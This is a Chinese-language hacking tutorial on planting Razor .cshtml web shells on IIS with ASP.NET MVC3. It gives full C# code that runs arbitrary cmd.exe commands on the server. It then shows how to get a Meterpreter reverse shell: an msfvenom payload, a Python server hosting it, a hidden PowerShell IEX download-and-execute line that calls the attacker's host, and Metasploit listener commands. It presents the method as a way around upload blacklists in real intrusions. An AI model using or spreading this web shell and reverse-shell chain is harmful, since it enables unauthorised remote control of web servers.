0x01 什么是cshtml
cshtml 是 MVC3 之后新增的视图文件,跟aspx很相似,主要是因为俩者之间的解析引擎不同,aspx 采用的是 WebForm Engine,而 cshtml 则是 Razor Rendering Engine。
只能在 MVC3 或更高版本等支持 Razor 的框架里使用 cshtml。
0x02 测试环境
- windows 2008 r2
- iis7.0
- .Net farmework4.0
- .net Mvc3
0x03 实战操练
iis的搭建我就不再文中赘述了,网上呢有很多教程,可自行查阅,首先搭建好一个iis7.0的web服务,正常访问页面是这样子的
然后安装好.net farmework 4.0 和 .net mvc3
在应用程序池中设置.net farmework版本为4.0
将web服务重启,访问cshtml文件
@using System.CodeDom.Compiler;
@using System.Diagnostics;
@using System.Reflection;
@using System.Web.Compilation;
@functions {
string ExecuteCommand(string command, string arguments = null)
{
var output = new System.Text.StringBuilder();
var process = new Process();
var startInfo = new ProcessStartInfo
{
FileName = command,
Arguments = arguments,
WorkingDirectory = HttpRuntime.AppDomainAppPath,
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false
};
process.StartInfo = startInfo;
process.OutputDataReceived += (sender, args) => output.AppendLine(args.Data);
process.ErrorDataReceived += (sender, args) => output.AppendLine(args.Data);
process.Start();
process.BeginOutputReadLine();
process.BeginErrorReadLine();
process.WaitForExit();
return output.ToString();
}
}
@{
var cmd = ExecuteCommand("cmd.exe", "/c whoami /all");
}
@cmd
然后即可看到如下的界面,已经成功执行了whoami /all。
如果没安装.net mvc3 则页面报错,如下图
如果不是.net farmework 4.0启动,那就是404,找不到这个文件,就不放图了。
0x04 利用cshtml进行反弹shell
首先主要的还是使用msf生成一个ps文件,利用命令执行调用powershell下载执行上线
生成ps1:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.181.130 LPORT=23333 -f psh-reflection > test666.ps1
开启web服务,确保能够让他下载,这里使用python
python -m SimpleHTTPServer 8888
然后将下载的地址写入到cshtml代码里,如下代码(只截取核心部分)
@{
var cmd = ExecuteCommand("cmd.exe", "/c powershell -windowstyle hidden -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://公网ip:8888/test666.ps1');test666.ps1\"");
}
保存之后,回到msf,开启监听
use exploit/multi/handler
set lhost xxx
set lport xx
set payload windows/x64/meterpreter/reverse_tcp
run
如下图,访问cshtml文件,成功上线
0x05 总结
这个方法呢,必须满足mvc3 以上的框架,在.net farmework 4..0启动(我测试是这个环境,其他未测试,如有不对,可留言),一般可以用于实战中文件上传黑名单的绕过。